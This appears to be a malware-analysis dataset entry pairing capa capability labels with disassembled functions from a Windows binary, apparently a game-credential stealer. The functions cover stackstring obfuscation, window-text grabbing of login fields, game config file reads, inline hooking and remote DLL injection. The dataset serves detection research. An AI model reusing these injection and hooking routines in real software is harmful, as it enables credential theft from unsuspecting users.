joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002248
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.10001e81
push eax
push esi
push dword [ebp + 8]
call fcn.10001e36
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax

Function at 0x10002ac0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.10001e81
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10001e36
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.10001e71
dec ebx
mov cl, bh
cmpsb byte [esi], byte es:[edi]
push 0x104
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x10002b65
cmp dword [ebp - 0x398], 0
je 0x10002d2f
cmp dword [ebp + 0xc], 1
je 0x10002d2f
cmp dword [ebp + 0xc], 8
jne 0x10002cf7
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
invalid
invalid

Function at 0x100054fe
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 4
pop eax
call fcn.10001690
mov ebx, esp
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10005593
mov edi, dword [ebp - 0x20]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x44]
lea esi, [eax - 1]
not esi
and esi, ebx
sub esi, eax
mov dword [ebp - 4], eax
mov eax, dword [0x1000c91c]
mov ecx, eax
dec ecx
neg ecx
sbb ecx, ecx
and ecx, 0xffff1000
add ecx, 0x11000
add ecx, edi
cmp esi, ecx
jb 0x10005593
cmp eax, 1
je 0x100055ab
mov ebx, edi
mov edi, 0x1000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10005593
add ebx, dword [ebp - 0x18]
test dword [ebp - 0x14], edi
je 0x10005568
test byte [ebp - 0xf], 1
mov ebx, dword [ebp - 0x24]
je 0x1000558f
xor eax, eax
inc eax
jmp 0x100055c7
cmp esi, ebx
jae 0x10005597
xor eax, eax
jmp 0x100055c7
push 4
push edi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x1000c91c]
jmp 0x100055ad
mov ebx, esi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x54]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20001000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
and dword [ebp - 4], 0
push esi
lea eax, [ebp - 0x2c]
mov esi, 0x20006070
push eax
push esi
mov dword [ebp - 0x2c], 0x3635457b
mov dword [ebp - 0x28], 0x32343630
mov dword [ebp - 0x24], 0x33412d44
mov dword [ebp - 0x20], 0x342d4432
mov dword [ebp - 0x1c], 0x2d633233
mov dword [ebp - 0x18], 0x45374539
mov dword [ebp - 0x14], 0x3141392d
mov dword [ebp - 0x10], 0x43433533
mov dword [ebp - 0xc], 0x30453733
mov dword [ebp - 8], 0x7d46
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop esi
leave
ret

Function at 0x200018d7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
and dword [ebp - 4], 0
push edi
push 0x20006010
mov dword [ebp - 0x1c], 0x613f7325
mov dword [ebp - 0x18], 0x7526343d
mov dword [ebp - 0x14], 0x2673253d
mov dword [ebp - 0x10], 0x73253d67
mov dword [ebp - 0xc], 0x253d7326
mov dword [ebp - 8], 0x73
call fcn.20004209
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x21c]
add esp, 0xc
test eax, eax
je 0x200019af
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x200019af
push 0x200061e8
push 0x200061b0
lea eax, [ebp - 0x21c]
push 0x2000741c
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
call fcn.2000394e
mov edi, eax
add esp, 0x1c
test edi, edi
je 0x200019af
push edi
call fcn.200019b4
test eax, eax
pop ecx
je 0x200019a7
push esi
mov esi, 0x20007494
push edi
push esi
call sub.MSVCRT.dll_strcpy
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 0xc
mov eax, esi
pop esi
jmp 0x200019b1
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
pop edi
leave
ret
Function at 0x20002031
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
or dword [ebp - 4], 0xffffffff
xor ebx, ebx
cmp dword [0x200074bc], ebx
mov esi, 0x200074a8
jne 0x20002074
push 0x10
push ebx
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 0xc]
call fcn.20002130
push eax
push esi
call sub.MSVCRT.dll_strcat
cmp dword [0x200061a8], ebx
pop ecx
pop ecx
mov dword [0x200074bc], 1
jne 0x200020a1
call fcn.200018d7
mov dword [0x20007444], eax
mov eax, dword [0x20007444]
cmp eax, ebx
je 0x20002116
push eax
call fcn.20002189
inc dword [0x20007444]
mov esi, dword [sym.imp.MSVCRT.dll_isdigit]
movzx edi, al
mov eax, dword [0x20007444]
movsx eax, byte [eax]
push eax
call esi
test eax, eax
pop ecx
je 0x200020e0
inc dword [0x20007444]
mov eax, dword [0x20007444]
movsx eax, byte [eax]
push eax
jmp 0x200020c8
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax], edi
jne 0x200020ec
mov dword [ebp - 4], ecx
inc ecx
add eax, 4
cmp ecx, 0x50
jb 0x200020e5
inc dword [0x200061a8]
cmp dword [0x200061a8], 3
mov dword [0x200074b8], 1
jne 0x20002126
mov dword [0x200061a8], ebx
jmp 0x20002126
push ebx
push ebx
push ebx
push 0x2000188e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x20002261
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edi, 0x2000721c
push edi
call sub.MSVCRT.dll_strlen
cmp eax, 2
pop ecx
jb 0x200023a5
cmp byte [0x2000721c], 0
mov ebx, edi
je 0x200022b0
inc ebx
cmp byte [ebx], 0
jne 0x200022aa
dec ebx
push 1
dec ebx
inc dword [0x2000734c]
cmp dword [0x2000734c], 3
pop eax
jle 0x200022c9
mov dword [0x2000734c], eax
cmp dword [0x2000734c], eax
mov esi, 0x2000744c
jne 0x200022e3
push 0x10
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
push esi
call sub.MSVCRT.dll_strcat
xor ebx, ebx
push 0x100
push ebx
push edi
mov dword [0x20007348], ebx
call sub.MSVCRT.dll_memset
push esi
call sub.MSVCRT.dll_strlen
add esp, 0x18
cmp eax, 6
jne 0x200023a5
cmp dword [0x200074b8], ebx
mov dword [ebp - 0x14], 0x613f7325
mov dword [ebp - 0x10], 0x7526353d
mov dword [ebp - 0xc], 0x2673253d
mov dword [ebp - 8], 0x73253d76
mov dword [ebp - 4], ebx
je 0x200023a5
push 0x20006010
call fcn.20004209
push eax
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x214]
add esp, 0xc
test eax, eax
je 0x200023a5
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x200023a5
push esi
lea eax, [ebp - 0x214]
push 0x2000741c
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x214]
push eax
call fcn.2000394e
add esp, 0x18
cmp eax, ebx
je 0x200023a5
push eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200025c1
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
mov eax, 0x6c616572
push ebx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x14c]
xor ebx, ebx
push 0x104
push eax
push ebx
mov dword [ebp - 0x48], 0x5c465457
mov dword [ebp - 0x44], 0x666e6f63
mov dword [ebp - 0x40], 0x772e6769
mov dword [ebp - 0x3c], 0x6674
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], 0x73694c6d
mov dword [ebp - 0x2c], 0x74
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x20], 0x6d614e6d
mov dword [ebp - 0x1c], 0x65
mov dword [ebp - 0x18], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x14c]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x14c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x14c]
push ebx
push ebx
push 3
push ebx
push ebx
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x2000278e
push esi
push edi
push ebx
push eax
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [sym.imp.MSVCRT.dll_malloc]
lea esi, [eax + 6]
push esi
mov dword [ebp - 8], eax
call edi
push esi
push ebx
push eax
mov dword [ebp - 0xc], eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x14]
push ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov edi, eax
push esi
push ebx
push edi
mov dword [ebp - 8], edi
call sub.MSVCRT.dll_memset
add esp, 0x10
push esi
push dword [ebp - 0xc]
push edi
call fcn.20003837
lea eax, [ebp - 0x34]
push eax
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
call edi
mov esi, dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
cmp eax, ebx
pop ecx
je 0x20002734
push 0x22
push eax
call esi
pop ecx
cmp eax, ebx
pop ecx
je 0x20002734
inc eax
push 0x2e
push eax
mov dword [ebp - 4], eax
call esi
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 0x10], eax
je 0x20002734
push 0x28
push ebx
push 0x200061b0
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 4]
push eax
push dword [ebp - 4]
push 0x200061b0
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 8]
call edi
pop ecx
cmp eax, ebx
pop ecx
je 0x2000277a
push 0x22
push eax
call esi
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x2000277a
inc edi
push 0x22
push edi
call esi
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
je 0x2000277a
push 0x28
push ebx
mov ebx, 0x200061e8
push ebx
call sub.MSVCRT.dll_memset
sub esi, edi
push esi
push edi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
push dword [ebp - 0xc]
mov esi, dword [sym.imp.MSVCRT.dll_free]
call esi
push dword [ebp - 8]
call esi
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200028f3
Capabilities:
Contain obfuscated stackstrings
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov eax, 0x76726553
mov esi, 0x20007510
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
xor ebx, ebx
push eax
push 0x28
push esi
lea eax, [ebp - 0x18]
push 0x20006020
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x614e7265
push eax
mov dword [ebp - 0x20], 0x656d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x7473614c
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], 0x63655c2e
mov dword [ebp - 0x4c], 0x6f685c74
mov dword [ebp - 0x48], 0x692e656d
mov dword [ebp - 0x44], 0x696e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x694c7265
mov dword [ebp - 0x34], 0x442e7473
mov dword [ebp - 0x30], 0x7461
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x200029b3
xor eax, eax
jmp 0x20002ab6
lea eax, [ebp - 0x154]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x154]
push closesocket
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [edi + 1]
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x20002aa9
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2c
push eax
call edi
mov esi, eax
push 0x2c
inc esi
push esi
call edi
push 0x28
push ebx
mov ebx, 0x200074e8
mov edi, eax
push ebx
call sub.MSVCRT.dll_memset
sub edi, esi
push edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x28
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20002b7d
Capabilities:
Create thread

Disassembly:
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
xor eax, eax
push eax
push eax
push eax
push 0x20002baf
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret

Function at 0x20002d7e
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x20007564]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x20002ddb
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x20002e05
cmp dword [ebp - 8], ebx
jne 0x20002e27
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x20002dfb
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x20002e44
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x20002e4d
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x2000753c
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x20002e82
push 0x200075b8
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x20002e82
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x20002e9c
push 0x28
push 0x200075b8
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x20002e5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20002ea1
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x20007564]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x20002f24
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x20002ed5
push 0x28
mov edi, 0x20007590
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret

Function at 0x20002f9c
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x20007564]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x20003028
push 0x64
call edi
jmp 0x2000301b
push ebx
call esi
test eax, eax
je 0x20003045
push 0x28
push 0x200074c0
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x20003028
call fcn.20002b7d
pop edi
pop esi
pop ebx
leave
ret
Function at 0x200032db
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x20005150
push 0x200043d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x20003390
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x200033b8
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
xor esi, esi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x20003413
xor eax, eax
jmp 0x2000346d
lea eax, [ebp - 0x128]
mov dword [ebp - 0x128], 0x128
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x20003464
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0x104]
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
test eax, eax
pop ecx
jne 0x20003453
mov eax, dword [ebp - 0x120]
inc esi
mov dword [edi], eax
add edi, 4
lea eax, [ebp - 0x128]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x20003431
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x20003472
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push dword [ebp + 8]
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
jne 0x200034ae
xor eax, eax
jmp 0x20003510
lea eax, [ebp - 0x224]
push esi
push eax
push edi
mov dword [ebp - 0x224], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x20003504
mov esi, dword [sym.imp.MSVCRT.dll__strcmpi]
lea eax, [ebp - 0x204]
push eax
push dword [ebp + 0xc]
call esi
pop ecx
test eax, eax
pop ecx
je 0x200034ff
lea eax, [ebp - 0x224]
push eax
push edi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x20003504
lea eax, [ebp - 0x204]
push eax
push dword [ebp + 0xc]
jmp 0x200034da
push 1
pop esi
jmp 0x20003506
xor esi, esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
pop edi
leave
ret

Function at 0x200035d1
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
mov edi, edi
nop
mov eax, eax
mov ecx, ecx
nop
nop
mov edi, edi
nop
mov eax, eax
nop
mov ecx, ecx
mov edi, edi
mov edi, edi
push dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0xc], ebx
call sub.MSVCRT.dll_strlen
pop ecx
mov esi, eax
push dword [ebp + 8]
inc esi
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x200036bf
push 4
push 0x1000
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x200036bf
lea ecx, [ebp - 4]
push ecx
push esi
push dword [ebp + 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x200036bf
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 8]
push str.LoadLibraryA
push str.KERNEL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push ebx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
cmp esi, ebx
je 0x200036b8
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push ebx
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 0xc], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret